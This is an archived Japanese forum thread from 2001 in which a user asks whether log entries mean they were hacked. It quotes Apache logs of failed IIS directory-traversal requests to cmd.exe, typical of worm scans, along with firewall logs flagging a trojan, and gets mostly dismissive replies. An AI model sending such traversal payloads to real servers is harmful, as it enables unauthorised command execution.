これってハッキングされてるのでしょうか?
■ このスレッドは過去ログ倉庫に格納されています
00011
NGNGちなみに接続環境はダイアルアップで、APACHEの設定はhttp://127.0.0.1です。
WHOISで調べたらどうやら韓国からの様なのですが・・・
210.180.246.108 - - [15/Nov/2001:13:34:52 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 276
210.180.246.108 - - [15/Nov/2001:13:34:53 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 274
210.180.246.108 - - [15/Nov/2001:13:34:54 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
210.180.246.108 - - [15/Nov/2001:13:34:55 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
210.180.246.108 - - [15/Nov/2001:13:34:55 +0900] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
210.180.246.108 - - [15/Nov/2001:13:34:56 +0900] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
210.180.246.108 - - [15/Nov/2001:13:34:57 +0900] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
210.180.246.108 - - [15/Nov/2001:13:34:58 +0900] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 331
210.180.246.108 - - [15/Nov/2001:13:34:59 +0900] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
210.180.246.108 - - [15/Nov/2001:13:35:00 +0900] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
210.180.246.108 - - [15/Nov/2001:13:35:00 +0900] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
210.180.246.108 - - [15/Nov/2001:13:35:01 +0900] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
210.180.246.108 - - [15/Nov/2001:13:35:02 +0900] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281
210.180.246.108 - - [15/Nov/2001:13:35:03 +0900] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281
210.180.246.108 - - [15/Nov/2001:13:35:04 +0900] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
210.180.246.108 - - [15/Nov/2001:13:35:05 +0900] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
0002虎
NGNG0003ひよこ(;´Д`)さん
NGNG0004
NGNGネタでないなら痛すぎる。。。
0006名無しさん@お腹いっぱい。
NGNGApacheだと設定むづかしいから、IISにして実験しなさい。
悪い事は言わない。
0007名無しさん@お腹いっぱい。
NGNGここ読みなさい。
0008名無しさん@お腹いっぱい。
NGNG127.0.0.1 / 80 TCP 61.123.143.78 / 80 210.20.61.193 / 1668 9000
127.0.0.1 / 80 TCP 61.123.143.78 / 80 210.20.61.193 / 1667 23
127.0.0.1 / 80 TCP 61.123.143.78 / 80 210.20.61.193 / 1666 23
127.0.0.1 / 80 TCP 61.123.143.78 / 80 210.20.61.193 / 1665 23
127.0.0.1 / 80 TCP 61.123.143.78 / 80 210.20.61.193 / 1664 22
127.0.0.1 / 80 TCP 61.123.143.78 / 80 210.20.61.193 / 1663 22
127.0.0.1 / 80 TCP 61.123.143.78 / 80 210.20.61.193 / 1662 17
127.0.0.1 / 80 TCP 61.123.143.78 / 80 210.20.61.193 / 1661 11
127.0.0.1 / 80 TCP 61.123.143.78 / 80 210.20.61.193 / 1660 8
127.0.0.1 / 80 TCP 61.123.143.78 / 80 210.20.61.193 / 1659 8
127.0.0.1 / 80 TCP 61.123.143.78 / 80 210.20.61.193 / 1658 8
127.0.0.1 / 80 TCP 61.123.143.78 / 80 210.20.61.193 / 1657 7
127.0.0.1 / 80 TCP 61.123.143.78 / 80 210.20.61.193 / 1656 7
127.0.0.1 / 80 TCP 61.123.143.78 / 80 210.20.61.193 / 1655 6
192.168.1.3 / 1034 TCP 61.123.143.78 / 1034 207.46.106.88 / 80 5
192.168.1.3 / 137 UDP 61.123.143.78 / 137 143.90.130.37 / 53 33
192.168.1.3 / 1027 UDP 61.123.143.78 / 1027 143.90.130.38 / 53 19
192.168.1.3 / 1027 UDP 61.123.143.78 / 1027 143.90.130.37 / 53 18
k
0010初心者
NGNGマジレス
http://127.0.0.1は自分のパソコン
0011名無しさん@お腹いっぱい。
NGNG0012名無しさん@お腹いっぱい。
NGNG12月7日01:47:30〜01:48:42にかけて
12月8日03:44:26に2回、パーソナルファイアーウォールのログに以下のような表示がありました。
ウイルスバスター2002 ログ リスト
種類,時刻,受信/送信,プロトコル,送信元IPアドレス,送信元ポート,送信先IPアドレス,送信先ポート,説明
クローキング,01:47:30,受信,TCP,202.77.223.33,80,192.168.0.2,1657,Cloaking,
クローキング,01:47:30,受信,TCP,202.77.223.33,80,192.168.0.2,1657,Cloaking,
クローキング,01:48:42,受信,TCP,202.77.223.33,80,192.168.0.2,1657,Cloaking,
クローキング,01:48:42,受信,TCP,202.77.223.33,80,192.168.0.2,1657,Cloaking,
ウイルスバスター2002 ログ リスト
種類,時刻,受信/送信,プロトコル,送信元IPアドレス,送信元ポート,送信先IPアドレス,送信先ポート,説明
クローキング,03:44:26,受信,ICMP,211.14.12.249,N/A,192.168.0.2,N/A,Cloaking,
クローキング,03:44:26,受信,ICMP,211.14.12.249,N/A,192.168.0.2,N/A,Cloaking,
気になったので念のために最新版のパターンファイルでウイルスチェックしても異常なし。
12月11日20:58:31〜20:58040にかけて以下の表示。
ウイルスバスター2002 ログ リスト
種類,時刻,受信/送信,プロトコル,送信元IPアドレス,送信元ポート,送信先IPアドレス,送信先ポート,説明
トロイの木馬ブロック,20:58:31,送信,TCP,192.168.0.2,2820,216.29.245.92,11000,Senna Spy,
トロイの木馬ブロック,20:58:34,送信,TCP,192.168.0.2,2820,216.29.245.92,11000,Senna Spy,
トロイの木馬ブロック,20:58:40,送信,TCP,192.168.0.2,2820,216.29.245.92,11000,Senna Spy,
ウイルスバスターで念のために再チェックしてもウイルスは検出されませんでした。
どうなっているのかおしえていただけませんでしょうか? よろしくお願いします。
使用しているOSはWindows Meです。
0013名無しさん@お腹いっぱい。
NGNGそれだけって訳じゃないよ。
>>12
解らない時はまずヘルプを見てみようよ。
サポートサイトもあるしね。
0014名無しさん@お腹いっぱい。
NGNG■ このスレッドは過去ログ倉庫に格納されています